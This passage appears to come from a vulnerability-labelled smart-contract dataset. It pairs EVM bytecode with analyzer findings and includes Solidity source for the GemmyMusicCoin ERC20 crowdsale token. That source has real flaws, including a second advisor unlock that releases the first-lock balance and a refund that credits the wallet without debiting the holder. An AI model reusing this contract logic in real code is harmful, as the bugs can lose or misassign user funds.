} | 0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820a3efefe09497e65a2ae8bbe09dbc2b9941279bde6ed891d88c57530ee24b16d564736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,686 |
0xf30aead79ddf74e8b5438f247a36f2b58b5a8c6d | pragma solidity ^0.4.23;
// Made By PinkCherry - insanityskan@gmail.com - https://blog.naver.com/soolmini
library SafeMath
{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract OwnerHelper
{
address public owner;
event OwnerTransferPropose(address indexed _from, address indexed _to);
modifier onlyOwner
{
require(msg.sender == owner);
_;
}
constructor() public
{
owner = msg.sender;
}
function transferOwnership(address _to) onlyOwner public
{
require(_to != owner);
require(_to != address(0x0));
owner = _to;
emit OwnerTransferPropose(owner, _to);
}
}
contract ERC20Interface
{
event Transfer( address indexed _from, address indexed _to, uint _value);
event Approval( address indexed _owner, address indexed _spender, uint _value);
function totalSupply() constant public returns (uint _supply);
function balanceOf( address _who ) public view returns (uint _value);
function transfer( address _to, uint _value) public returns (bool _success);
function approve( address _spender, uint _value ) public returns (bool _success);
function allowance( address _owner, address _spender ) public view returns (uint _allowance);
function transferFrom( address _from, address _to, uint _value) public returns (bool _success);
}
contract GemmyCoin is ERC20Interface, OwnerHelper
{
using SafeMath for uint;
string public name;
uint public decimals;
string public symbol;
address public wallet;
uint public totalSupply;
uint constant public saleSupply = 4000000000 * E18;
uint constant public rewardPoolSupply = 2500000000 * E18;
uint constant public foundationSupply = 500000000 * E18;
uint constant public gemmyMusicSupply = 1500000000 * E18;
uint constant public advisorSupply = 700000000 * E18;
uint constant public mktSupply = 800000000 * E18;
uint constant public maxSupply = 10000000000 * E18;
uint public coinIssuedSale = 0;
uint public coinIssuedRewardPool = 0;
uint public coinIssuedFoundation = 0;
uint public coinIssuedGemmyMusic = 0;
uint public coinIssuedAdvisor = 0;
uint public coinIssuedMkt = 0;
uint public coinIssuedTotal = 0;
uint public coinIssuedBurn = 0;
uint public saleEtherReceived = 0;
uint constant private E18 = 1000000000000000000;
uint constant private ethPerCoin = 35000;
uint private UTC9 = 9 * 60 * 60;
uint public privateSaleDate = 1526223600 + UTC9; // 2018-05-14 00:00:00 (UTC + 9)
uint public privateSaleEndDate = 1527951600 + UTC9; // 2018-06-03 00:00:00 (UTC + 9)
uint public firstPreSaleDate = 1528038000 + UTC9; // 2018-06-04 00:00:00 (UTC + 9)
uint public firstPreSaleEndDate = 1528988400 + UTC9; // 2018-06-15 00:00:00 (UTC + 9)
uint public secondPreSaleDate = 1529852400 + UTC9; // 2018-06-25 00:00:00 (UTC + 9)
uint public secondPreSaleEndDate = 1530802800 + UTC9; // 2018-07-06 00:00:00 (UTC + 9)
uint public firstCrowdSaleDate = 1531062000 + UTC9; // 2018-07-09 00:00:00 (UTC + 9)
uint public firstCrowdSaleEndDate = 1532012400 + UTC9; // 2018-07-20 00:00:00 (UTC + 9)
uint public secondCrowdSaleDate = 1532271600 + UTC9; // 2018-07-23 00:00:00 (UTC + 9)
uint public secondCrowdSaleEndDate = 1532962800 + UTC9; // 2018-07-31 00:00:00 (UTC + 9)
bool public totalCoinLock;
uint public gemmyMusicLockTime;
uint public advisorFirstLockTime;
uint public advisorSecondLockTime;
mapping (address => uint) internal balances;
mapping (address => mapping ( address => uint )) internal approvals;
mapping (address => bool) internal personalLocks;
mapping (address => bool) internal gemmyMusicLocks;
mapping (address => uint) internal advisorFirstLockBalances;
mapping (address => uint) internal advisorSecondLockBalances;
mapping (address => uint) internal icoEtherContributeds;
event CoinIssuedSale(address indexed _who, uint _coins, uint _balances, uint _ether);
event RemoveTotalCoinLock();
event SetAdvisorLockTime(uint _first, uint _second);
event RemovePersonalLock(address _who);
event RemoveGemmyMusicLock(address _who);
event RemoveAdvisorFirstLock(address _who);
event RemoveAdvisorSecondLock(address _who);
event WithdrawRewardPool(address _who, uint _value);
event WithdrawFoundation(address _who, uint _value);
event WithdrawGemmyMusic(address _who, uint _value);
event WithdrawAdvisor(address _who, uint _value);
event WithdrawMkt(address _who, uint _value);
event ChangeWallet(address _who);
event BurnCoin(uint _value);
event RefundCoin(address _who, uint _value);
constructor() public
{
name = "GemmyMusicCoin";
decimals = 18;
symbol = "GMM";
totalSupply = 0;
owner = msg.sender;
wallet = msg.sender;
require(maxSupply == saleSupply + rewardPoolSupply + foundationSupply + gemmyMusicSupply + advisorSupply + mktSupply);
totalCoinLock = true;
gemmyMusicLockTime = privateSaleDate + (365 * 24 * 60 * 60);
advisorFirstLockTime = gemmyMusicLockTime; // if tokenUnLock == timeChange
advisorSecondLockTime = gemmyMusicLockTime; // if tokenUnLock == timeChange
}
function atNow() public view returns (uint)
{
return now;
}
function () payable public
{
require(saleSupply > coinIssuedSale);
buyCoin();
}
function buyCoin() private
{
uint saleTime = 0; // 1 : privateSale, 2 : firstPreSale, 3 : secondPreSale, 4 : firstCrowdSale, 5 : secondCrowdSale
uint coinBonus = 0;
uint minEth = 0.1 ether;
uint maxEth = 100000 ether;
uint nowTime = atNow();
if( nowTime >= privateSaleDate && nowTime < privateSaleEndDate )
{
saleTime = 1;
coinBonus = 40;
}
else if( nowTime >= firstPreSaleDate && nowTime < firstPreSaleEndDate )
{
saleTime = 2;
coinBonus = 20;
}
else if( nowTime >= secondPreSaleDate && nowTime < secondPreSaleEndDate )
{
saleTime = 3;
coinBonus = 15;
}
else if( nowTime >= firstCrowdSaleDate && nowTime < firstCrowdSaleEndDate )
{
saleTime = 4;
coinBonus = 5;
}
else if( nowTime >= secondCrowdSaleDate && nowTime < secondCrowdSaleEndDate )
{
saleTime = 5;
coinBonus = 0;
}
require(saleTime >= 1 && saleTime <= 5);
require(msg.value >= minEth && icoEtherContributeds[msg.sender].add(msg.value) <= maxEth);
uint coins = ethPerCoin.mul(msg.value);
coins = coins.mul(100 + coinBonus) / 100;
require(saleSupply >= coinIssuedSale.add(coins));
totalSupply = totalSupply.add(coins);
coinIssuedSale = coinIssuedSale.add(coins);
saleEtherReceived = saleEtherReceived.add(msg.value);
balances[msg.sender] = balances[msg.sender].add(coins);
icoEtherContributeds[msg.sender] = icoEtherContributeds[msg.sender].add(msg.value);
personalLocks[msg.sender] = true;
emit Transfer(0x0, msg.sender, coins);
emit CoinIssuedSale(msg.sender, coins, balances[msg.sender], msg.value);
wallet.transfer(address(this).balance);
}
function isTransferLock(address _from, address _to) constant private returns (bool _success)
{
_success = false;
if(totalCoinLock == true)
{
_success = true;
}
if(personalLocks[_from] == true || personalLocks[_to] == true)
{
_success = true;
}
if(gemmyMusicLocks[_from] == true || gemmyMusicLocks[_to] == true)
{
_success = true;
}
return _success;
}
function isPersonalLock(address _who) constant public returns (bool)
{
return personalLocks[_who];
}
function removeTotalCoinLock() onlyOwner public
{
require(totalCoinLock == true);
uint nowTime = atNow();
advisorFirstLockTime = nowTime + (2 * 30 * 24 * 60 * 60);
advisorSecondLockTime = nowTime + (4 * 30 * 24 * 60 * 60);
totalCoinLock = false;
emit RemoveTotalCoinLock();
emit SetAdvisorLockTime(advisorFirstLockTime, advisorSecondLockTime);
}
function removePersonalLock(address _who) onlyOwner public
{
require(personalLocks[_who] == true);
personalLocks[_who] = false;
emit RemovePersonalLock(_who);
}
function removePersonalLockMultiple(address[] _addresses) onlyOwner public
{
for(uint i = 0; i < _addresses.length; i++)
{
require(personalLocks[_addresses[i]] == true);
personalLocks[_addresses[i]] = false;
emit RemovePersonalLock(_addresses[i]);
}
}
function removeGemmyMusicLock(address _who) onlyOwner public
{
require(atNow() > gemmyMusicLockTime);
require(gemmyMusicLocks[_who] == true);
gemmyMusicLocks[_who] = false;
emit RemoveGemmyMusicLock(_who);
}
function removeFirstAdvisorLock(address _who) onlyOwner public
{
require(atNow() > advisorFirstLockTime);
require(advisorFirstLockBalances[_who] > 0);
require(personalLocks[_who] == true);
balances[_who] = balances[_who].add(advisorFirstLockBalances[_who]);
advisorFirstLockBalances[_who] = 0;
emit RemoveAdvisorFirstLock(_who);
}
function removeSecondAdvisorLock(address _who) onlyOwner public
{
require(atNow() > advisorSecondLockTime);
require(advisorFirstLockBalances[_who] > 0);
require(personalLocks[_who] == true);
balances[_who] = balances[_who].add(advisorFirstLockBalances[_who]);
advisorFirstLockBalances[_who] = 0;
emit RemoveAdvisorFirstLock(_who);
}
function totalSupply() constant public returns (uint)
{
return totalSupply;
}
function balanceOf(address _who) public view returns (uint)
{
return balances[_who].add(advisorFirstLockBalances[_who].add(advisorSecondLockBalances[_who]));
}
function transfer(address _to, uint _value) public returns (bool)
{
require(balances[msg.sender] >= _value);
require(isTransferLock(msg.sender, _to) == false);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferMultiple(address[] _addresses, uint[] _values) onlyOwner public returns (bool)
{
require(_addresses.length == _values.length);
for(uint i = 0; i < _addresses.length; i++)
{
require(balances[msg.sender] >= _values[i]);
require(isTransferLock(msg.sender, _addresses[i]) == false);
balances[msg.sender] = balances[msg.sender].sub(_values[i]);
balances[_addresses[i]] = balances[_addresses[i]].add(_values[i]);
emit Transfer(msg.sender, _addresses[i], _values[i]);
}
return true;
}
function approve(address _spender, uint _value) public returns (bool)
{
require(balances[msg.sender] >= _value);
require(isTransferLock(msg.sender, _spender) == false);
approvals[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint)
{
return approvals[_owner][_spender];
}
function transferFrom(address _from, address _to, uint _value) public returns (bool)
{
require(balances[_from] >= _value);
require(approvals[_from][msg.sender] >= _value);
require(isTransferLock(msg.sender, _to) == false);
approvals[_from][msg.sender] = approvals[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function withdrawRewardPool(address _who, uint _value) onlyOwner public
{
uint coins = _value * E18;
require(rewardPoolSupply >= coinIssuedRewardPool.add(coins));
totalSupply = totalSupply.add(coins);
coinIssuedRewardPool = coinIssuedRewardPool.add(coins);
coinIssuedTotal = coinIssuedTotal.add(coins);
balances[_who] = balances[_who].add(coins);
personalLocks[_who] = true;
emit Transfer(0x0, msg.sender, coins);
emit WithdrawRewardPool(_who, coins);
}
function withdrawFoundation(address _who, uint _value) onlyOwner public
{
uint coins = _value * E18;
require(foundationSupply >= coinIssuedFoundation.add(coins));
totalSupply = totalSupply.add(coins);
coinIssuedFoundation = coinIssuedFoundation.add(coins);
coinIssuedTotal = coinIssuedTotal.add(coins);
balances[_who] = balances[_who].add(coins);
personalLocks[_who] = true;
emit Transfer(0x0, msg.sender, coins);
emit WithdrawFoundation(_who, coins);
}
function withdrawGemmyMusic(address _who, uint _value) onlyOwner public
{
uint coins = _value * E18;
require(gemmyMusicSupply >= coinIssuedGemmyMusic.add(coins));
totalSupply = totalSupply.add(coins);
coinIssuedGemmyMusic = coinIssuedGemmyMusic.add(coins);
coinIssuedTotal = coinIssuedTotal.add(coins);
balances[_who] = balances[_who].add(coins);
gemmyMusicLocks[_who] = true;
emit Transfer(0x0, msg.sender, coins);
emit WithdrawGemmyMusic(_who, coins);
}
function withdrawAdvisor(address _who, uint _value) onlyOwner public
{
uint coins = _value * E18;
require(advisorSupply >= coinIssuedAdvisor.add(coins));
totalSupply = totalSupply.add(coins);
coinIssuedAdvisor = coinIssuedAdvisor.add(coins);
coinIssuedTotal = coinIssuedTotal.add(coins);
balances[_who] = balances[_who].add(coins * 20 / 100);
advisorFirstLockBalances[_who] = advisorFirstLockBalances[_who].add(coins * 40 / 100);
advisorSecondLockBalances[_who] = advisorSecondLockBalances[_who].add(coins * 40 / 100);
personalLocks[_who] = true;
emit Transfer(0x0, msg.sender, coins);
emit WithdrawAdvisor(_who, coins);
}
function withdrawMkt(address _who, uint _value) onlyOwner public
{
uint coins = _value * E18;
require(mktSupply >= coinIssuedMkt.add(coins));
totalSupply = totalSupply.add(coins);
coinIssuedMkt = coinIssuedMkt.add(coins);
coinIssuedTotal = coinIssuedTotal.add(coins);
balances[_who] = balances[_who].add(coins);
personalLocks[_who] = true;
emit Transfer(0x0, msg.sender, coins);
emit WithdrawMkt(_who, coins);
}
function burnCoin() onlyOwner public
{
require(atNow() > secondCrowdSaleEndDate);
require(saleSupply - coinIssuedSale > 0);
uint coins = saleSupply - coinIssuedSale;
balances[0x0] = balances[0x0].add(coins);
coinIssuedSale = coinIssuedSale.add(coins);
coinIssuedBurn = coinIssuedBurn.add(coins);
emit BurnCoin(coins);
}
function changeWallet(address _who) onlyOwner public
{
require(_who != address(0x0));
require(_who != wallet);
wallet = _who;
emit ChangeWallet(_who);
}
function refundCoin(address _who) onlyOwner public
{
require(totalCoinLock == true);
uint coins = balances[_who];
balances[wallet] = balances[wallet].add(coins);
emit RefundCoin(_who, coins);
}
} | 0x6080604052600436106102bd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806205bfb7146102e55780626c2abc1461031057806306fdde031461033b57806307caf9e1146103cb578063095ea7b3146103f65780631204d27c1461045b578063130bcaa214610486578063157f33f5146104ec57806318160ddd146105175780631987da04146105425780631b4647641461056d5780631c27e291146105ba57806323b872dd146105fd57806325534a1e1461068257806326458beb146106ad5780632d56af6c146106d85780632d62f428146106ef578063313ce5671461071a578063339a95f614610745578063397b337814610770578063442dfae21461079b5780634bd889b4146107c65780634de62cd614610809578063521eb2731461084c57806354244518146108a357806363c439a6146108ce578063665788f8146108f9578063674a62d0146109245780636b3c97571461094f5780636ba55c6d1461097a5780636f020775146109a557806370a08231146109d4578063798bede114610a2b57806381aea66814610a5657806382e6d3d614610a815780638da5cb5b14610aac57806395d89b4114610b0357806398b9a2dc14610b935780639a336fed14610bd65780639a670bbc14610bed5780639aa1001b14610c18578063a05fccef14610c65578063a9059cbb14610d26578063a96af0f414610d8b578063abb9e0bf14610db6578063c1857bf714610de1578063cd71a47114610e2e578063d30047bc14610e7b578063d5abeb0114610ea6578063d68526c814610ed1578063da7fd1f014610f1e578063dd62ed3e14610f49578063e065914c14610fc0578063e8c4fa041461101b578063ecc258dd14611046578063f2fde38b14611089578063f59ed863146110cc578063f7e0e743146110f7578063fc01157c1461113a575b600654670de0b6b3a764000063ee6b2800021115156102db57600080fd5b6102e3611165565b005b3480156102f157600080fd5b506102fa61168e565b6040518082815260200191505060405180910390f35b34801561031c57600080fd5b50610325611694565b6040518082815260200191505060405180910390f35b34801561034757600080fd5b5061035061169a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610390578082015181840152602081019050610375565b50505050905090810190601f1680156103bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d757600080fd5b506103e0611738565b6040518082815260200191505060405180910390f35b34801561040257600080fd5b50610441600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061173e565b604051808215151515815260200191505060405180910390f35b34801561046757600080fd5b5061047061189a565b6040518082815260200191505060405180910390f35b34801561049257600080fd5b506104ea600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506118a0565b005b3480156104f857600080fd5b50610501611a7b565b6040518082815260200191505060405180910390f35b34801561052357600080fd5b5061052c611a81565b6040518082815260200191505060405180910390f35b34801561054e57600080fd5b50610557611a8b565b6040518082815260200191505060405180910390f35b34801561057957600080fd5b506105b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a91565b005b3480156105c657600080fd5b506105fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e81565b005b34801561060957600080fd5b50610668600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061208a565b604051808215151515815260200191505060405180910390f35b34801561068e57600080fd5b5061069761242a565b6040518082815260200191505060405180910390f35b3480156106b957600080fd5b506106c2612430565b6040518082815260200191505060405180910390f35b3480156106e457600080fd5b506106ed612436565b005b3480156106fb57600080fd5b506107046125b9565b6040518082815260200191505060405180910390f35b34801561072657600080fd5b5061072f6125bf565b6040518082815260200191505060405180910390f35b34801561075157600080fd5b5061075a6125c5565b6040518082815260200191505060405180910390f35b34801561077c57600080fd5b506107856125cb565b6040518082815260200191505060405180910390f35b3480156107a757600080fd5b506107b06125dd565b6040518082815260200191505060405180910390f35b3480156107d257600080fd5b50610807600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125ef565b005b34801561081557600080fd5b5061084a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612767565b005b34801561085857600080fd5b506108616128f6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108af57600080fd5b506108b861291c565b6040518082815260200191505060405180910390f35b3480156108da57600080fd5b506108e3612922565b6040518082815260200191505060405180910390f35b34801561090557600080fd5b5061090e612928565b6040518082815260200191505060405180910390f35b34801561093057600080fd5b5061093961292e565b6040518082815260200191505060405180910390f35b34801561095b57600080fd5b50610964612934565b6040518082815260200191505060405180910390f35b34801561098657600080fd5b5061098f61293a565b6040518082815260200191505060405180910390f35b3480156109b157600080fd5b506109ba612940565b604051808215151515815260200191505060405180910390f35b3480156109e057600080fd5b50610a15600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612953565b6040518082815260200191505060405180910390f35b348015610a3757600080fd5b50610a40612a3e565b6040518082815260200191505060405180910390f35b348015610a6257600080fd5b50610a6b612a50565b6040518082815260200191505060405180910390f35b348015610a8d57600080fd5b50610a96612a58565b6040518082815260200191505060405180910390f35b348015610ab857600080fd5b50610ac1612a6a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b0f57600080fd5b50610b18612a8f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b58578082015181840152602081019050610b3d565b50505050905090810190601f168015610b855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b9f57600080fd5b50610bd4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b2d565b005b348015610be257600080fd5b50610beb612cc8565b005b348015610bf957600080fd5b50610c02612df6565b6040518082815260200191505060405180910390f35b348015610c2457600080fd5b50610c63600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612dfc565b005b348015610c7157600080fd5b50610d0c6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050613095565b604051808215151515815260200191505060405180910390f35b348015610d3257600080fd5b50610d71600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506133da565b604051808215151515815260200191505060405180910390f35b348015610d9757600080fd5b50610da06135df565b6040518082815260200191505060405180910390f35b348015610dc257600080fd5b50610dcb6135f1565b6040518082815260200191505060405180910390f35b348015610ded57600080fd5b50610e2c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506135f7565b005b348015610e3a57600080fd5b50610e79600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613890565b005b348015610e8757600080fd5b50610e90613b29565b6040518082815260200191505060405180910390f35b348015610eb257600080fd5b50610ebb613b2f565b6040518082815260200191505060405180910390f35b348015610edd57600080fd5b50610f1c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613b42565b005b348015610f2a57600080fd5b50610f33613ddb565b6040518082815260200191505060405180910390f35b348015610f5557600080fd5b50610faa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613ded565b6040518082815260200191505060405180910390f35b348015610fcc57600080fd5b50611001600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613e74565b604051808215151515815260200191505060405180910390f35b34801561102757600080fd5b50611030613eca565b6040518082815260200191505060405180910390f35b34801561105257600080fd5b50611087600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613ed0565b005b34801561109557600080fd5b506110ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061416e565b005b3480156110d857600080fd5b506110e161431f565b6040518082815260200191505060405180910390f35b34801561110357600080fd5b50611138600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614325565b005b34801561114657600080fd5b5061114f6145c3565b6040518082815260200191505060405180910390f35b600080600080600080600095506000945067016345785d8a0000935069152d02c7e14af68000009250611196612a50565b915060105482101580156111ab575060115482105b156111bd576001955060289450611251565b60125482101580156111d0575060135482105b156111e2576002955060149450611250565b60145482101580156111f5575060155482105b156112075760039550600f945061124f565b601654821015801561121a575060175482105b1561122c57600495506005945061124e565b601854821015801561123f575060195482105b1561124d5760059550600094505b5b5b5b5b60018610158015611263575060058611155b151561126e57600080fd5b8334101580156112cf5750826112cc34602460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b11155b15156112da57600080fd5b6112ef346188b86145e790919063ffffffff16565b9050606461130986606401836145e790919063ffffffff16565b81151561131257fe5b04905061132a816006546145c990919063ffffffff16565b670de0b6b3a764000063ee6b2800021015151561134657600080fd5b61135b816005546145c990919063ffffffff16565b600581905550611376816006546145c990919063ffffffff16565b60068190555061139134600e546145c990919063ffffffff16565b600e819055506113e981601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147e34602460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546145c990919063ffffffff16565b602460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001602060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f5ed1f8a28d3ecafcb930d3849406f5c28a0e18006a4c42df4600176b764a922382601e60003373ffffffffff